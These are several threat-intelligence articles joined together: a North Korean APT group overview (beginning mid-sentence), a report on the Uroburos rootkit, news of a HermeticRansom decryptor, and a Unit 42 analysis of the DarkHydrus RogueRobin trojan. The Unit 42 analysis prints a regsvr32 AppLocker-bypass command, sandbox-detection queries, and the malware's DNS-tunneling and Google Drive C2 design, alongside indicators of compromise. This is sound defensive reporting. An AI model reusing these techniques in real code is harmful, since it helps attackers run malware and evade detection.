Lazarus distinct – less so as time passes – were techniques (such as protocol impersonation) used in its malware. Lazarus has strong associations with the Fallchill remote access tool for Windows and similar capabilities that target MacOS, Android, and Linux. More recently, it has been linked with multi-platform malware frameworks and fileless malware campaigns. Lazarus is connected to a long-running, global campaign in which attackers built rapport with targets by posing as recruiters on LinkedIn, as well as campaigns that targeted the U.S. electric sector. It has generated revenue through attacks on cryptocurrency exchanges but has of late tried its luck with BEC invoice fraud, Magecart-style transaction skimming, and big game ransomware attacks that use VHD malware. ## “APT38” aka BlueNoroff, Stardust Chollima, BeagleBoyz, NICKEL GLADSTONE Now let’s talk about the Dear Leader’s primary breadwinners. APT38 are probably the most successful bank robbers in history. While reporting on BlueNoroff and APT38 typically describe activity that uses the same tools and infrastructure as Lazarus, APT38 uses custom tools (ELECTRICFISH, PowerRatankba, PowerSpritz and job application-themed lures) in jobs entirely focused on generating revenue. Banks are attacked via watering hole attacks and ATM jackpotting. There’s a growing body of evidence that the group is able to scale its operations by purchasing access to systems previously infected by TrickBot and by using commercially available tools like PowerShell Empire and Cobalt Strike once they have a foothold. And it’s all handled with the kind of planning and care you’d expect from a heist movie: they usually go to some effort to cover their tracks, even if that means covering them with ransomware or a destructive attack. ## “Andariel” aka Silent Chollima, Dark Seoul, Rifle, Wassonite Andariel is a bully. What it lacks in sophistication, it makes up for in belligerence. This crew engages in espionage but also gets tasked with disrupting and wiping things. A 10-day assault on South Korea in 2011 set a troubling new precedent for what pain the pariah state was prepared to inflict on their adversaries. Andariel knows how to get noticed in all the places it probably shouldn’t. It is one of the few groups bold enough to take aim at military targets in the U.S. and South Korea or to go after AV management servers on a victim’s network. But like all the DPRK groups, there’s a little cybercrime on the side, such as stealing from online gambling sites or ATMs in South Korea or India. ## “APT37” aka Group123, Ricochet Chollima, RedEyes, Reaper, ScarCruft, Geumseong121 APT37 is the wannabe hipster of DPRK’s hacking elite: they are constantly upskilling while actively trying to emulate DarkHotel, a thoroughly more capable actor. APT37 often goes after individuals, as opposed to organizations. It has a taste for North Korean defectors, journalists, and human rights activists. While mostly relying on spear phishing using Office or Hangul (Korean language) Word Processor (HWP) maldocs, they’ve also used torrent sites to deliver malware and been tied to a couple of strategic web compromises. APT37 uses malware described by different intel shops as “Redoor”, “DOGCALL”, “ROKRAT” or “Final1stspy”, as well as Android malware named Kevdroid. ## “Kimsuky” aka Velvet Chollima, THALLIUM, TEMP.Firework, RGB-D5, Black Banshee Kimsuky is called the “King of Spearphishing”. Like most fishermen, they leave a stench: their OPSEC is pretty amateur. Kimsuky has been pinned for going after the South Korean government and Chinese organizations, an attack related to the Korea Hydro & Nuclear Plant, and phishing attacks against U.S. military interests. Kimsuky is also known for its “cowboy” loaders: part of an infection chain linked to attacks on U.S. academia and U.S. think tanks that used the BabyShark and KimJongRAT implants. Wiser analysts have broken Kimsuky up into more specific clusters, to separate out standalone credential phishing campaigns that don’t make use of this malware. ## “DarkHotel” aka Shadow Crane, DUBNIUM, TUNGSTEN BRIDGE, APT-C-06 Just kidding! Despite a number of people messing this up, DarkHotel is NOT DPRK. We’re listing it here as a lesson on the limits of malware analysis for attribution. Don’t make this mistake. We will find you. So that’s it. We hope you’ve found this summary helpful. We’ll update it every now and then as new research comes to light. Hints, corrections, and suggestions are welcome at [email protected].
# Uroburos - Highly Complex Espionage Software with Russian Roots G Data Security experts have analyzed a very complex and sophisticated piece of malware, designed to steal confidential data. G Data refers to it as Uroburos, in correspondence with a string found in the malware's code and following an ancient symbol depicting a serpent or dragon eating its own tail. ## What is Uroburos? Uroburos is a rootkit, composed of two files, a driver and an encrypted virtual file system. The rootkit is able to take control of an infected machine, execute arbitrary commands, and hide system activities. It can steal information (most notably: files) and it is also able to capture network traffic. Its modular structure allows extending it with new features easily, which makes it not only highly sophisticated but also highly flexible and dangerous. Uroburos' driver part is extremely complex and is designed to be very discrete and very difficult to identify. ## Technical Complexity Suggests Connections to Intelligence Agencies The development of a framework like Uroburos is a huge investment. The development team behind this malware obviously comprises highly skilled computer experts, as you can infer from the structure and the advanced design of the rootkit. We believe that the team behind Uroburos has continued working on even more advanced variants, which are still to be discovered. Uroburos is designed to work in peer-to-peer mode, meaning that infected machines communicate among each other, commanded by the remote attackers. By commanding one infected machine that has an Internet connection, the malware is able to infect further machines within the network, even the ones without Internet connection. It can spy on each and every infected machine and manages to send the exfiltrated information back to the attackers, by relaying this exfiltrated data through infected machines to one machine with Internet connection. This malware behavior is typical for propagation in networks of huge companies or public authorities. The attackers expect that their target does have computers cut off from the Internet and uses this technique as a kind of workaround to achieve their goal. Uroburos supports 32-bit and 64-bit Microsoft Windows systems. Due to the complexity of this malware and the supposed spying techniques used by it, we assume that this rootkit targets governments, research institutes, or big companies. ## Relation to Russian Attack Against U.S. Suspected Due to many technical details (file name, encryption keys, behavior and more details mentioned in this report), we assume that the group behind Uroburos is the same group that performed a cyberattack against the United States of America in 2008 with a malware called Agent.BTZ. Uroburos checks for the presence of Agent.BTZ and remains inactive if it is installed. It appears that the authors of Uroburos speak Russian (the language appears in a sample), which corroborates the relation to Agent.BTZ. Furthermore, according to public newspaper articles, this fact, the usage of Russian, also applied for the authors of Agent.BTZ. According to all indications we gathered from the malware analyses and the research, we are sure of the fact that attacks carried out with Uroburos are not targeting John Doe but high-profile enterprises, nation states, intelligence agencies, and similar targets. ## Probably Undiscovered for at Least Three Years The Uroburos rootkit is one of the most advanced rootkits we have ever analyzed in this environment. The oldest driver we identified was compiled in 2011, which means that the campaign remained undiscovered for at least three years. ## Infection Vector Still Unknown At the current stage of the investigations, it is unknown how Uroburos initially infiltrates high-profile networks. Many infection vectors are conceivable, e.g., spear phishing, drive-by infections, USB sticks, or social engineering attacks.
# Free Decryptor Released for HermeticRansom Victims in Ukraine Bill Toulas March 3, 2022 Avast has released a decryptor for the HermeticRansom ransomware strain used in targeted attacks against Ukrainian systems over the past ten days. The decryptor is offered as a free-to-download tool from Avast's website and can help Ukrainians restore their data quickly and reliably. The first signs of HermeticRansom's distribution were observed by ESET researchers on February 23, mere hours before the invasion of Russian troops unfolded in Ukraine. ## A Weak Decoy The ransomware strain was delivered along with a computer worm named HermeticWizard and served more as a decoy in wiper attacks rather than a tool to support financial extortion. Still, its infections have disrupted vital Ukrainian systems. Crowdstrike was quick to spot a weakness in the cryptographic schema of the GO-written strain and offered a script to decrypt the files encrypted by HermeticRansom (aka PartyTicket). "The ransomware contains implementation errors, making its encryption breakable and slow. This flaw suggests that the malware author was either inexperienced writing in Go or invested limited efforts in testing the malware, possibly because the available development time was limited," explains Crowdstrike in a new blog post released on Tuesday. As BleepingComputer explained on Twitter, the HermeticRansom contains numerous politically oriented string names in the ransomware binary, ransom note, and contact emails ([email protected] and [email protected]). The malware itself has functions/project names that appear to reference the 403ForBiden meme: - _/C_/projects/403forBiden/wHiteHousE.primaryElectionProcess - _/C_/projects/403forBiden/wHiteHousE.GoodOffice1 - C:/projects/403forBiden/main.go - main.voteFor403 HermeticRansom was never meant to serve as a modern ransomware strain that would lay the ground for double extortion, inflicting financial and reputational damage. ## Still a Danger The above doesn't mean that HermeticRansom infections don't impact the targeted machines. On the contrary, this strain can still encrypt valuable files outside the Program Files and Windows folders, using an RSA-2048 key. The ransom note seen by the victims has a typical form and content, asking them to contact a ProtonMail address to acquire a decryptor. ## New Decryptor Recovers Files Although Crowdstrike's script is reliable, it's not easy for everyone to use it in this situation. To make it easier, Avast has released a GUI decryptor that makes it easier to decrypt files encrypted by HermeticRansom. Also, the tool offers the option to backup the encrypted files to avoid ending up with irreversibly corrupted files if something goes wrong with the encryption process. For a step-by-step guide on how to use the decryptor, you can start from here. Bill Toulas is a technology writer and infosec news reporter with over a decade of experience working on various online publications. An open source advocate and Linux enthusiast, he is currently finding pleasure in following hacks, malware campaigns, and data breach incidents, as well as exploring the intricate ways through which tech is swiftly transforming our lives.
# DarkHydrus Delivers New Trojan That Can Use Google Drive for C2 Communications By Robert Falcone and Bryan Lee January 18, 2019 In the summer of 2018, Unit 42 released reporting regarding activity in the Middle East surrounding a cluster of activity using similar tactics, tools, and procedures (TTPs) in which we named the adversary group DarkHydrus. This group was observed using tactics such as registering typosquatting domains for security or technology vendors, abusing open-source penetration testing tools, and leveraging novel file types as anti-analysis techniques. Since that initial reporting, we had not observed new activity from DarkHydrus until recently, when 360TIC published a tweet and subsequent research discussing delivery documents that appeared to be attributed to DarkHydrus. In the process of analyzing the delivery documents, we were able to collect additional associated samples, uncover additional functionality of the payloads including the use of Google Drive API, and confirm the strong likelihood of attribution to DarkHydrus. We have notified Google of our findings. ## Delivery Document We collected a total of three DarkHydrus delivery documents installing a new variant of the RogueRobin trojan. These three documents were extremely similar to each other and are all macro enabled Excel documents with .xlsm file extensions. None of the known documents contain a lure image or message to instruct the recipient to click the Enable Content button necessary to run the macro. While we cannot confirm the delivery mechanism, it is likely that the instructions to click the Enable Content button were provided during delivery, such as in the body of a spear-phishing email. Without the delivery mechanism we cannot confirm the exact time these delivery documents were used in an attack; however, the observed timestamps within these three delivery documents gives us an idea when the DarkHydrus actors created them. While the creation times were timestomped to a default time of 2006-09-16 00:00:00Z commonly observed in malicious documents, the Last Modified times were still available and suggest that DarkHydrus created these documents in December 2018 and January 2019. | SHA256 | Last Modified | |--------|---------------| | e068c6536bf353abe249ad0464c58fb85d7de25223442dd220d64116dbf1e022 | 2018-12-15T05:14:32Z | | 4e40f80114e5bd44a762f6066a3e56ccdc0d01ab2a18397ea12e0bc5508215b8 | 2018-12-23T05:45:43Z | | 513813af1590bc9edeb91845b454d42bbce6a5e2d43a9b0afa7692e4e500b4c8 | 2019-01-08T06:51:21Z | The macro executes immediately after pressing the Enable Content button thanks to the Workbook_Open sub-function, which will call the actor created New_Macro function. The New_Macro function starts by concatenating several strings to create a PowerShell script that it will write to the file %TEMP%\WINDOWSTEMP.ps1. The function builds the contents of a second file by concatenating several strings together, but this second file is a .sct file that the function will write to a file %TEMP%\12-B-366.txt. While .sct files are used by a multitude of applications, in this instance it is being used as a Windows Script Component file. The function then uses the built-in Shell function to run the following command, which effectively executes the .sct file stored in 12-B-366.txt: ``` regsvr32.exe /s /n /u /i:%TEMP%\12-B-366.txt scrobj.dll ``` The use of the legitimate regsvr32.exe application to run a .sct file is an AppLocker bypass technique originally discovered by Casey Smith (@subtee), which eventually resulted in a Metasploit module. The WINDOWSTEMP.ps1 script is a dropper that decodes an embedded executable using base64 and decompresses it with the System.IO.Compression.GzipStream object. The script saves the decoded and decompressed executable to %APPDATA%\Microsoft\Windows\Templates\WindowsTemplate.exe and creates an LNK shortcut at %APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\OneDrive.lnk to persistently run WindowsTemplate.exe each time Windows starts up. The WindowsTemplate.exe executable is a new variant of RogueRobin written in C#. ## RogueRobin .NET Payload In our original blog on DarkHydrus, we analyzed a PowerShell-based payload we named RogueRobin. While performing the analysis on the delivery documents using the .sct file AppLocker bypass, we noticed the C# payload was functionally similar to the original RogueRobin payload. The similarities between the PowerShell and C# variants of RogueRobin suggests that the DarkHydrus group ported their code to a compiled variant. The C# variant of RogueRobin attempts to detect if it is executing in a sandbox environment using the same commands as in the PowerShell variant of RogueRobin. The series of commands include checks for virtualized environments, low memory, and processor counts, in addition to checks for common analysis tools running on the system. The Trojan also checks to see if a debugger is attached to its processes and will exit if it detects the presence of a debugger. | PowerShell command | Description | |---------------------|-------------| | `gwmi -query “select * from win32_BIOS where SMBIOS‐BIOSVERSION LIKE ‘%VBOX%'”` | Query attempts to detect VirtualBox environment from the win32_BIOS WMI class | | `gwmi -query “select * from win32_BIOS where SMBIOS‐BIOSVERSION LIKE ‘%bochs%'”` | Query attempts to detect Bochs environment from the win32_BIOS WMI class | | `gwmi -query “select * from win32_BIOS where SMBIOS‐BIOSVERSION LIKE ‘%qemu%'”` | Query attempts to detect QEMU environment from the win32_BIOS WMI class | | `gwmi -query “select * from win32_BIOS where SMBIOS‐BIOSVERSION LIKE ‘%VirtualBox%'”` | Query attempts to detect VirtualBox environment from the win32_BIOS WMI class | | `gwmi -query “select * from win32_BIOS where SMBIOS‐BIOSVERSION LIKE ‘%VM%'”` | Query attempts to detect VMWare environment from the win32_BIOS WMI class | | `gwmi -query “Select * from win32_BIOS where Manufacturer LIKE ‘%XEN%'”` | Query attempts to detect Xen environment from the win32_BIOS WMI class | | `gwmi win32_computersystem` | Uses this query to check the system information for the string “VMware”. | | `gwmi -query “Select TotalPhysicalMemory from Win32_ComputerSystem”` | Uses this query to check to see if the total physical memory is less than 2,900,000,000 bytes. | | `gwmi -Class win32_Processor | select NumberOfCores` | Uses this query to check to see if the total number of CPU cores is less than 1. | | `Get-Process | select Company` | Checks to see if any running processes have “Wireshark” or “Sysinternals” as the company name. | Like the original version, the C# variant of RogueRobin uses DNS tunneling to communicate with its C2 server using a variety of different DNS query types. Just like in the sandbox checks, the Trojan checks for an attached debugger each time it issues a DNS query; if it does detect a debugger it will issue a DNS query to resolve `676f6f646c75636b.gogle[.]co`. The domain is legitimate and owned by Google. The subdomain `676f6f646c75636b` is a hex encoded string which decodes to goodluck. This DNS query likely exists as a note to researchers or possibly as an anti-analysis measure, as it will only trigger if the researcher has already patched the initial debugger check to move onto the C2 function. All DNS requests issued by RogueRobin use the built-in nslookup.exe application to communicate to the C2 server and the Trojan will use a variety of regular expressions to extract data from the DNS response. Firstly, the Trojan will use the following regular expression to determine if the C2 server wishes to cancel the C2 communications: ``` 216.58.192.174|2a00:1450:4001:81a::200e|2200::|download.microsoft.com|ntservicepack.microsoft.com|windowsupdate.microsoft.com|update.microsoft.com ``` Additionally, the RogueRobin Trojan uses the regular expressions to confirm that the DNS response contains the appropriate data for it to extract information from. | Regular Expressions | |---------------------| | `([^r-v\\s])[r-v]([\\w\\d+\\/=]+)-\\w+.(<domainList[0]>|<domainList[1]>|<domainList[n]>)` | | `Address:\\s+(([a-fA-F0-9]{0,4}:{1,4}[\\w|:]+){1,8})` | | `Address:\\s+(([a-fA-F0-9]{0,4}:{1,2}){1,8})` | | `([^r-v\\s]+)[r-v]([\\w\\d+\\/=]+).(<domainList[0]>|<domainList[1]>|<domainList[n]>)` | | `(\\w+).(<domainList[0]>|<domainList[1]>|<domainList[n]>)` | | `Address:\\s+(\\d+.\\d+.\\d+.\\d+)` | The C# variant, like its PowerShell relative, will issue DNS queries to determine which query types can successfully communicate with its C2 servers. The domains in the test queries, such as `aqhpc.akdns[.]live` have subdomains that are generated by substituting the digits in the Trojan’s process ID with characters. | Character | Digit | |-----------|-------| | h | 0 | | i | 1 | | j | 2 | | k | 3 | | l | 4 | | m | 5 | | n | 6 | | o | 7 | | p | 8 | | q | 9 | The Trojan will use future DNS requests to retrieve jobs from the C2 server, which the Trojan will handle as commands. To obtain a job, the Trojan builds a subdomain that has the following structure and issues a DNS query to the C2 server: ``` c<unique identifier><job identifier padded with ‘0’ to make three digits><sequence number>c ``` The Trojan checks the response to this query using the regular expressions. If it received a non-cancelling response, the Trojan will extract data from the DNS responses and treat it as commands. ## Using Google Drive for C2 A command that was not available in the original PowerShell variant of RogueRobin but is available with the new C# variant is the x_mode. This command is particularly interesting as it enables an alternative command and control channel that uses the Google Drive API. The x_mode command is disabled by default, but when enabled via a command received from the DNS tunneling channel, it allows RogueRobin to receive a unique identifier and to get jobs by using Google Drive API requests. In x_mode, RogueRobin uploads a file to the Google Drive account and continually checks the file’s modification time to see if the actor has made any changes to it. The actor will first modify the file to include a unique identifier that the Trojan will use for future communications. The Trojan will treat all subsequent changes to the file made by the actor as jobs and will treat them as commands. To use Google Drive, the x_mode command received from the C2 server via DNS tunneling will be followed by a newline-delimited list of settings needed to interact with the Google Drive account. | Variable Name | Description | |---------------|-------------| | gdu | Google Drive URL for downloading files to the Google Drive account | | gduu | Google Drive URL for uploading files to the Google Drive account | | gdue | Google Drive URL for updating a file on the Google Drive account | | gdo2t | Google Drive URL used to get the OAUTH access_token | | client_id | The client_id for the OAUTH application | | cs | The client_secret for OAUTH | | r_t | The refresh_token for OAUTH | To obtain an OAUTH access token to authenticate to the actor provided Google account, the Trojan sends an HTTP POST request to a URL stored in the gdo2t variable with grant_type, client_id, client_secret, and refresh_token fields added to the HTTP header and in the POST data. Once authenticated with a valid access token, the Trojan will attempt to upload a file to the Google Drive account. To upload a file, the Trojan first creates an HTTP POST request to the URL stored in gduu to send the following JSON data to the Google Drive account: ``` { “name” : “<process ID of Trojan>.txt” } ``` Google Drive will respond to this request with an HTTP response whose header contains a Location field. This field contains a URL that the Trojan will use to upload the contents of the `<process ID of Trojan>.txt` file. The Trojan will then use the following regular expression to check the HTTP response to the content upload request for the file identifier value: ``` \”id\”:(.*) ``` The Trojan will use this file identifier value to monitor for changes made to the file by the actor by checking for changes to the modification time of the `<process ID of Trojan>.txt` file. The Trojan checks the modified time of the file by creating an HTTP request to a URL structured as follows: ``` <Google Drive URL in ‘gdu’> + <file identifier> + “?supportTeamDrives=true&fields=modifiedTime” ``` When the modification_time for the first file changes, the Trojan downloads the contents from the first file uploaded to the Google Drive. The Trojan processes the downloaded data the same way it would for a unique identifier as if the data was obtained via the DNS tunneling protocol using the TXT query mode. ## Infrastructure The initial list of C2 domains released by 360TIC associated with 513813af15… appeared thematically very similar to previous DarkHydrus activity, using domain names visually similar to well-known technology vendors or service providers. This list was further expanded upon by ClearSky Security in a series of tweets that provided additional similar domain names also likely linked to DarkHydrus. To better understand how these domains are related to DarkHydrus, we began visually mapping the relationships between the list of domains. The diagram shows the DarkHydrus group using a consistent naming schema and structure in their infrastructure. They register a multitude of domains and set up nameservers to use as their primary DNS for their C2 domains. The two sets of nameservers we were able to associate with the retrieved payloads were tbs1/tbs2.microsoftonline.services and tvs1/tvs2.trafficmanager.live. | Sample(s) | DNS Domains | |-----------|-------------| | f1b2bc0831445903c0d51b390b1987597009cc0fade009e07d792e8d455f6db0 | 0fice365[.]agency, 0fice365[.]life, 0fice365[.]services, 0nedrive[.]agency, corewindows[.]agency, microsoftonline[.]agency, onedrive[.]agency, sharepoint[.]agency, skydrive[.]agency, skydrive[.]services | | eb33a96726a34dd60b053d3d1048137dffb1bba68a1ad6f56d33f5d6efb12b97 | akamaiedge[.]live, akamaized[.]live, akdns[.]live, edgekey[.]live | ## Conclusion The DarkHydrus group continues their operations and adds new techniques to their playbook. Recent DarkHydrus delivery documents revealed the group abusing open-source penetration testing techniques such as the AppLocker bypass. The payloads installed by these delivery documents show that the DarkHydrus actors ported their previous PowerShell-based RogueRobin code to an executable variant, which is behavior that has been commonly observed with other adversary groups operating in the Middle East. Lastly, the new variant of RogueRobin is capable of using the Google Drive cloud service for its C2 channel, suggesting that DarkHydrus may be shifting to abusing legitimate cloud services for their infrastructure. ### Indicators of Compromise **Delivery Document SHA256** - 513813af1590bc9edeb91845b454d42bbce6a5e2d43a9b0afa7692e4e500b4c8 - e068c6536bf353abe249ad0464c58fb85d7de25223442dd220d64116dbf1e022 - 4e40f80114e5bd44a762f6066a3e56ccdc0d01ab2a18397ea12e0bc5508215b8 **RogueRobin SHA256** - eb33a96726a34dd60b053d3d1048137dffb1bba68a1ad6f56d33f5d6efb12b97 - f1b2bc0831445903c0d51b390b1987597009cc0fade009e07d792e8d455f6db0 - 5cc62ad6baf572dbae925f701526310778f032bb4a54b205bada78b1eb8c479c **RogueRobin C2s** - akdns[.]live - akamaiedge[.]live - edgekey[.]live - akamaized[.]live - 0fice365[.]agency - 0nedrive[.]agency - corewindows[.]agency - microsoftonline[.]agency - onedrive[.]agency - sharepoint[.]agency - skydrive[.]agency - 0fice365[.]life - 0fice365[.]services - skydrive[.]services - skydrive[.]agency **Nameservers** - tvs1.trafficmanager[.]live - tvs2.trafficmanager[.]live - tbs1.microsoftonline[.]services - tbs2.microsoftonline[.]services - brit.ns.cloudfronts[.]services - dns.cloudfronts[.]services - ns2.akadns[.]services - britns.akadns[.]services - britns.akadns[.]live - ns2.akadns[.]live **Related Domains** - iecvlist-microsoft[.]live - data-microsoft[.]services - asimov-win-microsoft[.]services - onecs-live[.]services - akamaiedge[.]services - phicdn[.]world - azureedge[.]today - nsatc[.]agency - Akamai[.]agency - t-msedge[.]world